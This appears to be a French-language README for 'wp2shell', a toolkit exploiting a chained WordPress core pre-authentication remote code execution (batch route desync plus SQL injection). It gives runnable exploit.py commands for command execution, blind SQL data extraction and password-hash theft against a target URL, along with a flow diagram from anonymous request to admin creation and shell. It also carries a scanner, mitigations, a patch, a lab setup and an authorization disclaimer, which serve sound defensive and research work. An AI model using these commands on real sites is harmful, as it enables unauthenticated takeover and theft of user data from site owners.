
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.
CVE-2026-63030 (Confusion de route Batch, CVSS 7.5) + CVE-2026-60137 (Injection SQL, CVSS 9.1)
Une chaîne d'exécution de code à distance sans authentification dans le cœur de WordPress, qui ne nécessite aucun plugin, aucune configuration spéciale et fonctionne sur des installations par défaut.
| Plage de versions | Impact | Corrigé dans |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | RCE complète | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | RCE complète | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | Injection SQL uniquement | 6.8.6 |
Prérequis : Aucun cache d'objet persistant (Redis/Memcached). C'est la configuration par défaut pour la grande majorité des installations WordPress.
L'exploit enchaîne deux vulnérabilités :
Confusion de route Batch de l'API REST — Un chemin malformé dans une sous-requête batch fait que wp_parse_url() renvoie false, créant une WP_Error qui désynchronise les tableaux $matches[] et $requests[]. Les requêtes suivantes sont dispatchées vers les mauvais gestionnaires, contournant l'authentification.
Injection SQL dans WP_Query — Lorsque author__not_in est passé sous forme de chaîne (et non de tableau), la sanitisation de absint() est ignorée et la valeur brute est interpolée directement dans la clause SQL WHERE.
Combinés avec le système de cache oEmbed de WordPress (primitive d'écriture), la publication automatique des jeux de modifications Customizer (élévation de privilèges) et la réentrance de l'API REST (dispatch privilegié), cela permet une exécution de code non authentifiée.
wp2shell/
├── README.md ← Ce fichier
│
├── wp2shell-exploit/ ← Outils d'exploitation
│ ├── exploit.py # RCE complète sans authentification (pas de cassage de mot de passe)
│ ├── exploit_hash.py # Extraction de hash + RCE authentifiée
│ ├── detect.py # Scanner de vulnérabilité non destructif
│ └── README.md
│
├── wp2shell-patch/ ← Remédiation
│ ├── patch.sh # Correctif du code source (reproduit le correctif officiel)
│ ├── wp2shell-shield.php # Plugin mu déposable (déploiement en 30 secondes)
│ ├── block-batch.conf # Mitigation Nginx
│ ├── block-batch.htaccess # Mitigation Apache
│ └── README.md
│
├── docker-compose.yml # Environnement de test vulnérable (WP 7.0.1)
└── Dockerfile.debug # Image avec XDebug pour la recherche
Le code source de WordPress n'est pas inclus. Téléchargez-le depuis https://wordpress.org/download/releases/ (7.0.1 pour la version vulnérable, 7.0.2 pour la version corrigée).
cd wp2shell-exploit
# Single target
python3 detect.py https://target.example
# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli
# Batch scan from file
python3 detect.py targets.txt -q
# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"
# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess
# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress
# Best option: just update WordPress
wp core update # or Dashboard → Updates
┌─────────────────────────────┐
│ Anonymous HTTP Request │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (outer) │
│ Malformed path → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Steal /batch/v1 handler │
│ (no permission_callback!) │
│ → nested batch executes │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (inner) │
│ GET methods now allowed │
│ author_exclude unsanitized │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Phase 1: oEmbed │ │ Phase 2: │ │ Phase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Cache poison + │
│ post with [embed] │ │ extract IDs │ │ Changeset publish │
│ → WP creates cache │ │ + admin ID │ │ → wp_set_current_ │
│ posts (write prim.) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Re-entrancy │
│ parse_request triggers │
│ serve_request() re-entry │
│ → now running as admin! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Creates new administrator │
│ → Login → Plugin → Shell │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 applique trois correctifs qui brisent chacun un maillon de la chaîne :
WordPress 7.0.2 supprime également la fonctionnalité de collaboration (défense en profondeur).
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Clean up
docker compose down
Ce dépôt est fourni uniquement à des fins de recherche en sécurité autorisée, de tests d'intrusion et d'éducation. Ne l'utilisez que sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester.
| Correctif | Fichier | Effet |
|---|
| Alignement des tableaux | class-wp-rest-server.php | $matches[] = $single_request pour les entrées WP_Error — empêche la désynchronisation |
| Protection contre la réentrance | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — empêche les appels imbriqués à serve_request |
| Assainissement SQL | class-wp-query.php | wp_parse_id_list() toujours appliqué — empêche l'injection |